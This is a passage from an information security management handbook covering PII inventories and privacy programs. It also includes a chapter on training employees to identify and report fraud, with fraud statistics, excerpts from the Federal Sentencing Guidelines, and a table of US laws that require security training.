Identify all PII collected. Label or describe each type of PII. Identify the departments responsible for the PII. Identify the primary individuals responsible for custodianship. Identify the information source for each piece of data. Identify all groups, people, and third parties who have access to each type of PII, and determine the type of access (e.g., view only, update, delete) for each piece of customer information. Identify existing policies and procedures for accessing PII. Identify profiles created from PII databases. Identify third parties who have access to PII. Identify third parties who store the organization’s PII on their systems. Identify existing access capabilities and procedures for PII. Identify all servers and systems that store PII. Identify all servers and systems that process PII. Identify previous PII privacy incidents and outcomes. Identify privacy personnel opinions about the use of the PII. Identify current administrative controls and capabilities for PII. Identify who has administrative capabilities for PII administrative controls. Identify how separation of duties with regard to PII access is established and maintained.
The major obstacle to creating a PII inventory and creating a map of the data flow is the volume of work involved in a large organization. Staff resources will be required to help collect the information, to compile the information, and to effectively update the information over time; however, the PII inventory must be as comprehensive as possible or some significant vulnerabilities and risks may not be identified.
262
Information Security Management Handbook
Establish Privacy Incident Response Procedures The best practice is to prevent a privacy incident from occurring in the first place. Do this by identifying current privacy exposures and prioritize addressing them. When a privacy incident occurs, resolve the issue as quickly as possible following the organization’s established policies, and then analyze the incident. Make necessary changes and then institute policies and procedures to prevent recurrences of the same type of incident. Also (and possibly most importantly), train everyone in the organization, as well as anyone else involved with handling the organization’s PII, to ensure they understand the importance of privacy.
Report on the Privacy Environment Regularly to Board and Oversight Members A privacy or security breach could significantly impact any organization’s business as it has impacted the previously discussed organizations. A breach could potentially cost hundreds of thousands to millions of dollars in human resources, communications, and materials expenses in addition to negative publicity, lost business, and legal counsel costs. Examples of breaches, such as the ones discussed here, should be presented to an organization’s executives so they have a clear picture of how they could affect their organization financially.
Communicate Leading Practices to Executives What is the organization doing to address the impact of security and privacy issues? Decision-making executives will want to know so they can determine how much of the budget to assign to information security and privacy efforts. Following are the leading practices that organizations are increasingly following to help ensure an effective information security and privacy program and to help demonstrate due diligence: • Provide ongoing visible security and privacy support, commitment, and participation from upper management. • Implement security and privacy policies, objectives, and activities that reflect business goals and the organization’s mission. • Diligently stay aware of new and updated security and privacy-related laws and regulations applicable to the organization. • Develop and implement procedures addressing security and privacy that are consistent with the organizational culture and support security and privacy policies and legal requirements. • Make personnel responsible for possessing a good understanding of the security and privacy requirements, risk assessment, and risk management. • Effectively market and communicate security and privacy issues and requirements to all managers, personnel, and business partners. • Regularly distribute guidance on security and privacy issues to raise awareness for all personnel and third-party partners. • Provide ongoing appropriately targeted security and privacy training and education. • Use a comprehensive and balanced system of measurement to evaluate performance in information security and privacy management and compliance. The organization, from senior executives down to junior staff, must consider security and privacy to be an integral part of the business, not an afterthought.
Building an Effective Privacy Program
263
Summary Taking security and privacy precautions is more than important; it is an essential and inevitable component of business success. Serious consequences to an organization’s goals and business success can result from inadequately and not continually addressing these risks. Following a well-thought-out privacy governance program will help an organization successfully and effectively choose the types of security and privacy risks they are willing to reasonably tolerate and decide which others must be effectively addressed. Effectively communicating the program to personnel, with the clearly visible support of executive management, is key to the success of the organization’s program.
This page intentionally left blank
22 Training Employees To Identify Potential Fraud and How To Encourage Them To Come Forward Rebecca Herold
Introduction Information security and privacy training and awareness are challenges in every organization. Most people do not like to participate in training; however, ensuring that employees understand their responsibilities for protecting information is vital to an organization’s success and is required by law for many industries and jurisdictions. Helping employees understand how to identify and report fraud is especially important in today’s business climate. A fraud awareness and training program must support an organization’s business environment, be integrated within the information security program and policies, and meet applicable regulatory requirements. Personnel must be motivated to learn how to identify and report fraud by tangible and specific rewards and penalties to support an organization’s fraud prevention efforts. Fraud prevention training must become part of the job appraisal process to build a truly effective fraud prevention education program. Corporate leaders must not only ensure compliance with regulatory issues but also effectively communicate fraud prevention policy and regulatory issues to the organization. Organizations cannot have a successful awareness and training program if personnel do not understand the impacts and consequences of noncompliance.
The Fraud Landscape On February 1, 2005, the Federal Trade Commission (FTC) released its annual fraud report1 detailing consumer complaints and listing the top ten fraud complaint categories reported by consumers in 2004. Identity theft was the number one complaint for the fifth consecutive year. Consumers filed over 635,000 complaints to the FTC in 2004, which was up from 542,378 in 2003. Of the complaints received in 2004, 61 percent were complaints about fraud and 39 percent were identity theft reports. The top eight categories of consumer fraud complaints within the FTC 2004 fraud report included the following: • • • •
Internet auctions — 16 percent Shop-at-home/catalog sales — 8 percent Internet services and computer complaints — 6 percent Foreign money offers — 6 percent
265
266
Information Security Management Handbook
• • • •
Prizes, sweepstakes, and lotteries — 5 percent Advance fee loans and credit protection — 3 percent Telephone services — 2 percent Business opportunities and work-at-home plans — 2 percent
The increase of fraud is indeed a concern and has caught the attention of the Executive Branch. President Bush’s fiscal year 2006 budget2 allots $212 million for the FTC, an $8 million increase over the appropriation for fiscal year 2005. If passed, the higher budget will provide the FTC with more resources to handle anti-fraud and privacy legislation, such as the Controlling the Assault of Non-Solicitated Pornography and Marketing (CAN-SPAM) Act and the Fair and Accurate Credit Transactions (FACT) Act, which establish identity theft and consumer credit protection responsibilities with the FTC. Fraud concerns are not just at the federal level. Many states are also taking legislative moves in an effort to turn the tide of fraud activity levels. The following are just a few examples of proposed bills covering just identity theft: • Texas — H.B. 1527 would require companies to alert their customers if a breach of security puts them at risk of identity theft. • New York — A.4254 and S.2161 would require businesses and state agencies to notify consumers of any security breach of their data. Two other bills, A.5487 and S.3000, would only cover “business entities,” not state agencies. • Washington — S.B. 6043 would require companies that own and license computerized data containing personal information to inform Washington consumers of any breach of data security. • Minnesota — H.F. 1410 and S.F. 1307 would require systems that own or license computerized data that includes personal information to notify Minnesota residents if there is reason to believe that the information was taken by an unauthorized person. • Georgia — S.B. 251 would require certain businesses to give notice to consumers of security breaches. • Illinois — Governor Rod Blagojevich (D-Ill.) proposed legislation in February that would require consumer notification in Illinois in cases where corporate security systems have been breached and consumer information has been compromised. • Rhode Island — 2005-S-0880 would require any business experiencing a security breach to immediately notify all Rhode Island residents in an affected database that their identities or financial documents may have been compromised. • Florida — An amendment was proposed to pending legislation (S.B. 284 and H.B. 129 CS) that would require immediate disclosure any time an individual’s private personal financial information or Social Security number is stolen from a data-collection agency. • California — S.B. 852 would require organizations to notify individuals for breach of personal information in any format, not just electronic. Government leaders recognize the importance of businesses in fraud prevention efforts. In some instances, they legally require businesses to take active anti-fraud steps and to implement ongoing fraud prevention awareness and training programs. This trend is likely to continue. It is important that corporate leaders know and understand their obligations not only for anti-fraud activities but also for the anti-fraud training and awareness requirements for management, personnel, business partners, and customers.
Regulatory and Legal Requirements for Training Why Is Regulatory Education Important? Privacy and security awareness and training are important activities and key components of an effective fraud prevention and security program. In fact, many regulations require awareness and training as part of compliance, a few specifically for fraud prevention but many for information security, which encompasses fraud prevention activities. The most commonly discussed right now are the Health Insurance
Training Employees To Identify Potential Fraud
267
Portability and Accountability Act (HIPAA), the Sarbanes–Oxley (SOX) Act, and the Gramm–Leach–Bliley (GLB) Act. However, personnel education has been a requirement under other guidelines and regulations for several years. An increasing number of laws and regulations require some form of training and awareness activities to occur within the organizations over which they have jurisdiction. For example, the Federal Sentencing Guidelines,3 enacted in 1991, updated to create more corporate management responsibility in 2004, and often used to determine fines and restitution for convictions, have seven requirements, one of which is for executive management to educate and effectively communicate to their employees the proper business practices with which personnel must comply. Issues that impact the severity of the judgments include consideration of the following: • • • • •
How frequently and how well does the organization communicate its policies to personnel? Are personnel effectively getting trained and receiving awareness? What methods does the organization use for such communications? Does the organization verify the desired results from training that has occurred? Does the organization update the education program to improve communications and to get the appropriate message out to personnel? • Does the training cover ethical work practices? • Is there ongoing compliance and ethics dialog between staff and management? • Is management getting the same educational messages as the staff? Implementing an effective, ongoing awareness and training program will: • • • •
Establish accountability. Comply with regulatory requirements for education. Help ensure compliance with published policies. Demonstrate due diligence.
Sentences under the guidelines can be as high as $290 million plus jail time, or even higher in some circumstances, but are these guidelines really ever applied? The U.S. Sentencing Commission documents that, in 1995,4 111 organizational defendants were sentenced according to the guidelines, with 83 cases receiving associated fines. By 2001,5 the number of organizational defendants sentenced rose to 238, with 137 getting fines and 49 getting both fines and restitution. The average fine was $2.2 million, and the average amount of restitution awarded was $3.3 million. Of those sentenced, 90 had no compliance program, which was a documented culpability factor in the sentencing. Having a poor compliance program was also a documented factor in other decisions. It is likely that the numbers of fines and penalties will increase with implementation of the updated guidelines.6 Recent amendments include establishing an effective compliance program and exercising due diligence in the prevention and detection of criminal conduct. Any organizations with some type of compliance requirements or plans (basically all public entities, given the Sarbanes–Oxley Act of 2002) are directly impacted by the new guidelines. One way such due diligence is demonstrated is through an effective, executive-supported information security and privacy awareness program. The organizational sentencing guidelines motivate organizations to create a program to reduce and, ultimately, eliminate criminal conduct by implementing an effective ethics and compliance program that includes compliance with all applicable laws. The updates to the sentencing criteria incorporate leading practices that have been referenced and identified in such regulations as the Sarbanes–Oxley Act, HIPAA, GLBA, and other internationally recognized standards. The 2004 updates are contained within new guidelines at §8B2.1 and elaborate upon the need for organizations to more rigorously demonstrate responsibility and demonstrate executive leadership. To have a program that is effectively described by the guidelines, an organization must demonstrate that it exercises due diligence in meeting compliance requirements and also promotes “an organizational culture that encourages ethical conduct and a commitment to compliance with the law.” It is important to note that the guidelines describe functional requirements, and it does not matter if an organization calls the program a compliance program, ethics program, or some other description. The actions and
268
Information Security Management Handbook
activities will be what are reviewed if a due diligence and sentencing situation arises. At a high level, the following are the organizational requirements described in the updated guidelines:
• Develop and implement standards and procedures designed to prevent and detect criminal conduct. • Assign responsibility at all levels and provide adequate resources and authority for the compliance or ethics program. • Perform personnel screening as applicable (in accordance with laws, regulations, and labor union requirements) and as related to program goals and the responsibilities of the staff involved. • Provide adequate and effective awareness and training throughout all levels of the organization. • Ensure that auditing, monitoring, and evaluating activities occur to verify program effectiveness. • Implement internal reporting systems that eliminate retaliatory reactions. • Provide incentives and enforce discipline to promote compliance. • Consistently take reasonable steps to respond to violations and prevent similar violations from occurring. According to wide discussion, the motivation behind these updated guidelines seems to be to ensure that, if an organization is convicted of a federal offense, the leader will face stiff sentences and civil penalties unless they have proof of having a stringent, well-communicated compliance program. This should drive organizations to make ongoing, continuously communicated, compliance programs, including awareness and training components, a priority. The new 2004 U.S. Federal Sentencing Guidelines7 state: §8B2.1. Effective Compliance and Ethics Program (a) To have an effective compliance and ethics program, for purposes of subsection (f) of §8C2.5 (Culpability Score) and subsection (c)(1) of §8D1.4 (Recommended Conditions of Probation — Organizations), an organization shall — (1) exercise due diligence to prevent and detect criminal conduct; and (2) otherwise promote an organizational culture that encourages ethical conduct and a commitment to compliance with the law. Such compliance and ethics program shall be reasonably designed, implemented, and enforced so that the program is generally effective in preventing and detecting criminal conduct. The failure to prevent or detect the instant offense does not necessarily mean that the program is not generally effective in preventing and detecting criminal conduct. (b) Due diligence and the promotion of an organizational culture that encourages ethical conduct and a commitment to compliance with the law within the meaning of subsection (a) minimally require the following: (1) The organization shall establish standards and procedures to prevent and detect criminal conduct. (2) (A) The organization’s governing authority shall be knowledgeable about the content and operation of the compliance and ethics program and shall exercise reasonable oversight with respect to the implementation and effectiveness of the compliance and ethics program. (B) High-level personnel of the organization shall ensure that the organization has an effective compliance and ethics program, as described in this guideline. Specific individual(s) within high-level personnel shall be assigned overall responsibility for the compliance and ethics program. (C) Specific individual(s) within the organization shall be delegated day-to-day operational responsibility for the compliance and ethics program. Individual(s) with operational responsibility shall report periodically to high-level personnel and, as appropriate, to the governing authority, or an appropriate subgroup of the governing authority, on the effectiveness of the compliance and ethics program. To carry out such operational responsibility, such individual(s) shall be given adequate resources, appropriate authority, and direct access to the governing authority or an appropriate subgroup of the governing authority.
Training Employees To Identify Potential Fraud
269
(3) The organization shall use reasonable efforts not to include within the substantial authority personnel of the organization any individual whom the organization knew, or should have known through the exercise of due diligence, has engaged in illegal activities or other conduct inconsistent with an effective compliance and ethics program. (4) (A) The organization shall take reasonable steps to communicate periodically and in a practical manner its standards and procedures, and other aspects of the compliance and ethics program, to the individuals referred to in subdivision (B) by conducting effective training programs and otherwise disseminating information appropriate to such individuals’ respective roles and responsibilities. (B) The individuals referred to in subdivision (A) are the members of the governing authority, high-level personnel, substantial authority personnel, the organization’s employees, and, as appropriate, the organization’s agents. (5) The organization shall take reasonable steps — (A) to ensure that the organization’s compliance and ethics program is followed, including monitoring and auditing to detect criminal conduct; (B) to evaluate periodically the effectiveness of the organization’s compliance and ethics program; and (C) to have and publicize a system, which may include mechanisms that allow for anonymity or confidentiality, whereby the organization’s employees and agents may report or seek guidance regarding potential or actual criminal conduct without fear of retaliation. (6) The organization’s compliance and ethics program shall be promoted and enforced consistently throughout the organization through — (A) appropriate incentives to perform in accordance with the compliance and ethics program; and (B) appropriate disciplinary measures for engaging in criminal conduct and for failing to take reasonable steps to prevent or detect criminal conduct. (7) After criminal conduct has been detected, the organization shall take reasonable steps to respond appropriately to the criminal conduct and to prevent further similar criminal conduct, including making any necessary modifications to the organization’s compliance and ethics program. (c) In implementing subsection (b), the organization shall periodically assess the risk of criminal conduct and shall take appropriate steps to design, implement, or modify each requirement set forth in subsection (b) to reduce the risk of criminal conduct identified through this process. It is no longer enough simply to write and publish information security and privacy policies and procedures. Organizational leaders must now have a good understanding of the program, support the program, and provide oversight of the program as reasonable for the organization. This reflects a significant shift in the responsibilities of compliance and ethics programs from positions such as the compliance officer or committee to the highest levels of management. The guidelines require that executive leaders support and participate in implementing the program. To accomplish this, an effective ongoing information privacy, security, and compliance education program must be in place. Every compliance plan, including information security and privacy, must include continuing involvement of the highest level of organizational management in its design and implementation. Compliance will then, as a result, become part of upper management daily responsibilities. Requirements for effective training and awareness now extend not only to personnel and business partners and associates but also to the highest levels of management and must be ongoing. When considering due diligence, it follows that a standard of due care must be observed. Quite simply, this means that organizational leaders have a duty to ensure the implementation of information security and privacy even if they are not aware of the specific legal requirements. If leaders do not ensure actions are taken to reasonably secure information and ensure privacy, and as a result others experience damages,
270
Information Security Management Handbook
it is possible that both the organization and the leaders could face legal action for negligence. This certainly should motivate leaders to invest time, resources, and personnel in establishing an ongoing, effective, well-documented information security and privacy awareness and training program.
Laws and Regulations Requiring Education Many existing laws and regulations include requirements for information security training and making personnel, management, or customers aware of certain aspects of the laws, such as the need to identify and prevent potentially fraudulent activities. Table 22.1 provides excerpts from the actual regulatory text that are applicable to information security awareness and training activities for just a few of the existing U.S. laws and regulations. Organizations should review this list and discuss it with their legal departments to determine which ones apply to their particular businesses. This list does not include state laws and regulatory requirements, many of which also contain personnel training and awareness requirements. Be sure to research the state and local regulations and laws that are applicable to the organization’s facilities and customer locations.
Training Motivators Information security and fraud prevention must be integrated with job performance and the appraisal process. Personnel become motivated to actively support anti-fraud initiatives when they know that their job advancement, compensation, and benefits will be impacted. Studies about employee motivation in general have been demonstrating this since the 1920s.8 When personnel do not have this motivation, then an organization is destined to ultimately depend only on technology for information security assurance and fraud prevention. Organizations must understand the importance of implementing these motivators to validate due diligence and to be in compliance with laws and regulations such as those previously discussed. Much research has been done about job motivators, and many theories abound. Good managers want to know how to be more effective with their business efforts, and the human resources department is usually willing to try a motivator if it is well presented and explained. Legal compliance, revenue support, and due diligence are enhanced by training and implementing motivation for training. Organizational motives for information security and fraud prevention must support primary business objectives and meet regulatory compliance; they cannot be an afterthought or superfluous. For example, fraud prevention and information security activities are necessary to: • • • • •
Comply with applicable laws and regulations. Demonstrate due diligence. Help prevent loss and thus increase profit. Protect the organization from liabilities related to security negligence. Enhance and/or support customer and public reputation.
So, what are personnel information security and fraud prevention activity motivators? The details will vary from organization to organization; however, high-level personnel motivators include at least the following, in no particular order: • • • • • • • •
Complying with laws and regulations Getting a good report following a regulator’s compliance review Meeting security requirements during internal compliance reviews Getting the respect and admiration of coworkers Having good relationships and interactions with coworkers Doing work that is interesting and fulfilling Following personal, ethical, and social principles Reducing information security risks
Training Employees To Identify Potential Fraud
271
• • • • • • • • • • • • • •
Personally experiencing a security incident or loss Learning the loss experiences of others Showing dedication and faithfulness to the employer Making the boss happy Protecting personal and employer reputation Competing to succeed beyond peers Doing something that is fun and interesting Creating good working conditions Feeling achievement and satisfaction from a job well done Obtaining power and affiliation with others in power Getting good press for the employer for demonstrated effective security and anti-fraud practices Avoiding bad press for the employer because security was ineffective or a fraud was instigated Preventing a fraud or security incident from happening again after experiencing one Implementing automated security and anti-fraud mechanisms that are transparent to the end user and do not degrade systems performance or slow business processing • Making security more convenient than alternative (non-secure) methods • Creating an anticipation for receipt of rewards for security and fraud prevention activities relative to corresponding job responsibilities • Creating fear and reminding of experiences of penalties for inadequate security and fraud prevention activities relative to corresponding job responsibilities
The last two items on this list are the most powerful motivators to individuals. They relate directly to the human need for safety and security as demonstrated in such models as Maslow’s Hierarchy of Needs.9 They are also the two items from this long list that organizations can most effectively control. Rewards and penalties are not new ideas; they have been traditional job performance motivators in business since business began and should be used for motivating personnel to be secure and help to prevent fraud as well. Rewards for participating in training and taking anti-fraud precautions and actions can include one or more of the following, in addition to other rewards not listed: • • • • • •
Job promotion and advancement New privileges and benefits Additional vacation Gifts, prizes, and awards Praise and recognition Financial rewards, such as bonuses or raises
Penalties for not engaging in anti-fraud activities, on the other hand, can include one or more of the following, in addition to other penalties not listed: • • • • • • •
Loss of employment Demotion Loss of benefits, privileges, or perks Salary reduction Unpaid leave Legal action Internal publication of noncompliant personnel
Some of the above may work very well in some environments but may be completely unacceptable, or possibly illegal, in other organizational environments. Always discuss any of the motivators, prizes, penalties, and sanctions with the human resources and legal departments prior to implementation. It is important to ensure that the plans are in compliance with existing laws, contracts, and policies and to ensure that the information security and fraud prevention departments have the support of the legal and human resources areas.
272
Information Security Management Handbook
TABLE 22.1 Laws and Regulations The following lists some of the U.S. laws and regulations that have requirements for information security, sometimes specifically indicating fraud prevention, awareness, and training within various organizations and industries. This is not an exhaustive list but will serve as a good starting point for researching an organization’s regulatory training and awareness requirements. The actual regulatory text that applies specifically to awareness or training is indicated in italics. Read the full regulation or law to learn all the requirements for meeting compliance. Health Insurance Portability and Accountability Act (HIPAA)a Privacy Rule — Sec. 164.530(b)(1)b Standard: Training. A covered entity must train all members of its workforce on the policies and procedures with respect to protected health information required by this subpart, as necessary and appropriate for the members of the workforce to carry out their function within the covered entity. Security Rule — Sec. 164.308(a)(5)(i)c Standard: Security awareness and training. Implement a security awareness and training program for all members of its workforce (including management). 21 CFR Part 11: Electronic Records; Electronic Signatures Sec. 11.10(i).d Controls for Closed Systems: Determination that persons who develop, maintain, or use electronic record/electronic signature systems have the education, training, and experience to perform their assigned tasks. Computer Security Act of 1987 Sec. 5. Federal Computer System Security Training:e (a) IN GENERAL. Each Federal agency shall provide for the mandatory periodic training in computer security awareness and accepted computer security practice of all employees who are involved with the management, use, or oration of each Federal computer system within or under the supervision of that agency. Such training shall be — (1) provided in accordance with the guidelines developed pursuant to section 20(a)(5) of the National Bureau of Standards Act (as added by section 3 of this Act), and in accordance with the regulations issued under subsection (c) of this section for Federal civilian employees; or (2) provided by an alternative training program approved by the head of that agency on the basis of a determination that the alternative training program is at least as effective in accomplishing the objectives of such guidelines and regulations. (b) TRAINING OBJECTIVES. Training under this section shall be started within 60 days after the issuance of the regulations described in subsection (c). Such training shall be designed — (1) to enhance employees’ awareness of the threats to and vulnerability of computer systems; (2) to encourage the use of improved computer security practices; and (3) to include emphasis on protecting sensitive information in federal databases and federal computer sites that are accessible through public networks. (c) REGULATIONS. Within six months after the date of enactment of this Act, the Director of the Office of Personnel Management shall issue regulations prescribing the procedures and scope of the training to be provided Federal civilian employees under subsection (a) and the manner in which such training is to be carried out. Computer Security Enhancement Actf 10/13/1998 — Senate preparation for floor; status — placed on Senate Legislative Calendar under General Orders (Calendar No. 718): Section 9. Federal computer system security training This section amends section 5(b) of the Computer Security Act of 1987 by adding an emphasis on protecting sensitive information in Federal databases and Federal computer sites that are accessible through public networks. Computer Fraud and Abuse Act (CFAA)g Sec. 1030. Fraud and related activity in connection with computers: One court has interpreted the CFAA as providing an additional cause of action in favor of employers who may suffer the loss of trade secret information, or other negative impact, at the hands of disloyal employees. h It has been widely discussed and debated that, to enforce, employees must have communicated related policies. Privacy Acti (Applies to U.S. Government Agencies) 5 U.S.C. Sec. 552a(01/16/96)(e). Agency requirements: Each agency that maintains a system of records shall —
Training Employees To Identify Potential Fraud
273
TABLE 22.1 Laws and Regulations (cont.) (9) establish rules of conduct for persons involved in the design, development, operation, or maintenance of any system of records, or in maintaining any record, and instruct each such person with respect to such rules and the requirements of this section, including any other rules and procedures adopted pursuant to this section and the penalties for noncompliance Freedom of Information Act (FOIA)j 5 U.S.C. Sec. 552: (a)(4)(A)(i) In order to carry out the provisions of this section, each agency shall promulgate regulations, pursuant to notice and receipt of public comment, specifying the schedule of fees applicable to the processing of requests under this section and establishing procedures and guidelines for determining when such fees should be waived or reduced. Such schedule shall conform to the guidelines which shall be promulgated, pursuant to notice and receipt of public comment, by the Director of the Office of Management and Budget and which shall provide for a uniform schedule of fees for all agencies. (a)(6)(B)(iv) Each agency may promulgate regulations, pursuant to notice and receipt of public comment, providing for the aggregation of certain requests by the same requestor, or by a group of requestors acting in concert, if the agency reasonably believes that such requests actually constitute a single request, which would otherwise satisfy the unusual circumstances specified in this subparagraph, and the requests involve clearly related matters. Multiple requests involving unrelated matters shall not be aggregated. (a)(6)(D)(i) Each agency may promulgate regulations, pursuant to notice and receipt of public comment, providing for multitrack processing of requests for records based on the amount of work or time (or both) involved in processing requests. (a)(6)(E)(i) Each agency shall promulgate regulations, pursuant to notice and receipt of public comment, providing for expedited processing of requests for records Federal Information Security Management Act (FISMA)k Sec. 3544. Federal Agency Responsibilities: (a) IN GENERAL. The head of each agency shall — (4) ensure that the agency has trained personnel sufficient to assist the agency in complying with the requirements of this subchapter and related policies, procedures, standards, and guidelines. (b) AGENCY PROGRAM. Each agency shall develop, document, and implement an agency wide information security program, approved by the Director under section 3543(a)(5), to provide information security for the information and information systems that support the operations and assets of the agency, including those provided or managed by another agency, contractor, or other source, that includes — (4) security awareness training to inform personnel, including contractors and other users of information systems that support the operations and assets of the agency, of — (A) information security risks associated with their activities; and (B) their responsibilities in complying with agency policies and procedures designed to reduce these risks. Digital Millennium Copyright Act (DMCA)l Sec. 512(h). Conditions for Eligibility: (1) Accommodation of Technology. The limitations on liability established by this section shall apply only if the service provider — (A) has adopted and reasonably implemented, and informs subscribers of the service of, a policy for the termination of subscribers of the service who are repeat infringers Gramm–Leach–Bliley (GLB) Act Sec. 314.4. Safeguards Rule:m (b) Identify reasonably foreseeable internal and external risks to the security, confidentiality, and integrity of customer information that could result in the unauthorized disclosure, misuse, alteration, destruction or other compromise of such information, and assess the sufficiency of any safeguards in place to control these risks. At a minimum, such a risk assessment should include consideration of risks in each relevant area of your operations, including — (1) employee training and management; (2) information systems, including network and software design, as well as information processing, storage, transmission and disposal; and (3) detecting, preventing and responding to attacks, intrusions, or other systems failures.
274
Information Security Management Handbook
TABLE 22.1 Laws and Regulations (cont.) Sarbanes–Oxley (SOX) Actn Title III Sec. 302(a)(4): (4) the signing officers — (A) are responsible for establishing and maintaining internal controls; (B) have designed such internal controls to ensure that material information relating to the issuer and its consolidated subsidiaries is made known to such officers by others within those entities, particularly during the period in which the periodic reports are being prepared. SEC Guidance That Emphasizes Training and Awarenesso III. Components of Objectives-Oriented Standard Setting I. Behavioral Changes. i. Exercise of Professional Judgment Second, there is the long-run consequence. Since the application of an objectives-oriented regime relies on preparers and auditors’ ability to identify the objectives of the standard (as well as the specific guidance) and match that to the underlying transaction or event, there is a need to train preparers and auditors in understanding the substance of the class of transactions. Additionally, it appears likely that in moving to a more objectives-oriented regime, the FASB will issue more standards that rely on fair value as the measurement attribute. If so, it would be imperative that accounting professionals be trained in valuation theory and techniques. IV. Implementation Issues I. Transition Costs We believe that the transition costs would be relatively small, as the transition to an objectives-oriented approach already is underway, at least in part, and should continue on a gradual basis. We believe that the accounting profession itself would incur only de minimis transitional costs in the immediate term, since we expect the FASB to continue to implement these recommendations on a gradual basis through its continuing standard-setting efforts. Going forward, however, as objectives-oriented accounting standards are adopted, to the extent that a different type of professional judgment is called for on the part of practitioners, accounting firms will find that they may have to further strengthen their training, quality control and oversight mechanisms for all accounting personnel within the firm. Moreover, there may be additional efforts needed internally on training and education to accommodate the heightened professional and intellectual demands that will be placed on practitioners. On the other hand, this extra cost may be offset by the reduction in training associated with the elimination of excessively detailed standards associated with a rules-based approach. Bank Protection Act (12 CFR Chapter V, Sec. 568)p Sec. 568.3. Security Program: (a) Contents of security program. The security program shall — (3) provide for initial and periodic training of officers and employees in their responsibilities under the security program and in proper employee conduct during and after a burglary, robbery, or larceny. Sec. 568.4. Report: The security officer for each savings association shall report at least annually to the association’s board of directors on the implementation, administration, and effectiveness of the security program. U.S. Patriot Actq Sec. 352. Anti-Money Laundering Programs: (a) IN GENERAL. Section 5318(h) of Title 31, U.S.C., is amended to read as follows: (h) ANTI-MONEY LAUNDERING PROGRAMS. (1) IN GENERAL. In order to guard against money laundering through financial institutions, each financial institution shall establish anti-money laundering programs, including, at a minimum — (A) the development of internal policies, procedures, and controls; (B) the designation of a compliance officer; (C) an ongoing employee training program. Sec. 908. Training of Government Officials Regarding Identification and Use of Foreign Intelligence: (a) PROGRAM REQUIRED. The Attorney General shall, in consultation with the Director of Central Intelligence, carry out a program to provide appropriate training to officials described in subsection (b) in order to assist such officials in — (1) identifying foreign intelligence information in the course of their duties; and (2) utilizing foreign intelligence information in the course of their duties, to the extent that the utilization of such information is appropriate for such duties.
Training Employees To Identify Potential Fraud
275
TABLE 22.1 Laws and Regulations (cont.) Sec. 1005. First Responders Assistance Act: (c) ANTITERRORISM TRAINING GRANTS. Antiterrorism training grants under this subsection may be used for programs, projects, and other activities to address — (1) intelligence gathering and analysis techniques; (2) community engagement and outreach; (3) critical incident management for all forms of terrorist attack; (4) threat assessment capabilities; (5) conducting follow up investigations; and (6) stabilizing a community after a terrorist incident. FFEIC Customer Identification Programr Customer Identification Programs for Banks, Savings Associations, and Credit Unions:s A. Regulations Implementing Sec. 326: Under the proposed regulation, the CIP must be incorporated into the bank’s anti-money laundering (BSA) program. A bank’s BSA program must include (1) internal policies, procedures, and controls to ensure ongoing compliance; (2) designation of a compliance officer; (3) an ongoing employee training program; and (4) an independent audit function to test programs. Each of these requirements also applies to a bank’s CIP. a b c d e f g h
i j k l m n o p
q r s
http://www.hhs.gov/ocr/combinedregtext.pdf. http://www.hhs.gov/ocr/combinedregtext.pdf (p. 38). http://www.hhs.gov/ocr/combinedregtext.pdf (p. 14). http://www.fda.gov/ora/compliance_ref/part11/FRs/background/pt11finr.pdf (p. 13465). http://thomas.loc.gov/cgi-bin/cpquery/?&dbname=cp105&maxdocs=100&report=sr412.105&sel=TOC_35315&. http://csrc.nist.gov/secplcy/csa_87.txt. http://www.usdoj.gov/criminal/cybercrime/1030_new.html. http://www.southeasttechwire.com/ (Millen, P. M., The Computer Fraud and Abuse Act: A New Tool for Protection of Trade Secrets, September 16, 2003). http://foia.state.gov/privacy.asp. http://foia.state.gov/foia.asp. http://www.fedcirc.gov/library/legislation/FISMA.html. http://thomas.loc.gov/cgi-bin/query/D?c105:2:./temp/~c105MmcQjh::. http://www.ftc.gov/os/2002/05/67fr36585.pdf (p. 36494). http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=107_cong_bills&docid=f:h3763enr.txt.pdf. http://www.sec.gov/news/studies/principlesbasedstand.htm. http://www.ffiec.gov/ffiecinfobase/resources/info_sec/ots-12_cfr_568_security_proced_bank_protection_act.pdf (66 FR 8639, February 1, 2001). http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=107_cong_public_laws&docid=f:publ056.107.pdf. http://www.fdic.gov/news/news/financial/2002/FIL0292.html. http://www.fdic.gov/regulations/laws/federal/02joint723.html.
Implementing Information Security Motivation Donn Parker covers the previously described topics of motivation factors, in addition to creating a framework to integrate security into job responsibilities, in his book Fighting Computer Crime: A New Framework for Protecting Information.10 The following is the essence of his sage advice as it applies to building a fraud prevention education program. • Make demonstrated due diligence the objective of security and fraud prevention activities. Risk reduction and fraud prevention are the ultimate desired outcomes, but they really have little inherent motivational value. Personnel demonstrate due diligence by being in compliance with security standards (such as ISO 17799 or NIST), laws and regulations (such as HIPAA or GLBA), organizational policies, and accepted industry best practices and by taking proactive anti-fraud actions.
276
Information Security Management Handbook
• Update organizational policies and standards to include documentation of rewards, motivation, and penalties. An organization’s information security policy must be current, be accepted and supported by stakeholders (such as executive management and business unit leaders), and be practical to achieve. It should also document motivators for personnel compliance. • Include fraud prevention and information security as specific objectives in job descriptions. Work with management to develop the objectives in each area of the organization. Do what applicable labor unions and laws allow. Job descriptions should include specific security and fraud prevention assignments that will comply with regulations and policies and provide accountability for the organization’s assets. • Require all personnel to regularly sign an information security agreement. State in the contract that the individual will support organizational information security and fraud prevention policies and standards, will actively work to prevent fraudulent activities, and will promptly report fraudulent activities and security incidents. Require employees to sign the agreement upon initial employment and on an annual basis. This ensures that personnel have reviewed the policies and provides accountability for compliance. • Establish fraud prevention and reporting activities as a specific objective in performance appraisals. It is important to have the support of management and unions. This motivator is particularly effective for employees whose job descriptions explicitly state anti-fraud activities. • Engage top management to explicitly review the information security performance of all managers. Managers with poor security and anti-fraud practices also have direct reports with poor security and anti-fraud practices. Managers who model good security practices have direct reports with good security practices. Top-down motivation of managers is necessary to achieve security and anti-fraud support through all levels of an organization. • Implement rewards and penalties that are supported and carried out consistently by management. When penalties and rewards are documented, they must be consistently applied to make them effective motivators. When establishing rewards and penalties, do not require more security and anti-fraud activities than are necessary for the organization’s business circumstances. When an organization tries to “overdo” security with no justification behind the requirements it will not get support from management; the security and anti-fraud efforts will be negatively impacted and possibly fail. Motivators are effective when they are consistently applied. Do a little research and observe. Determine the motivators that will work best for the organization and environment. These answers will not come neatly packaged from anywhere else other than from understanding the organization’s personnel and organization.
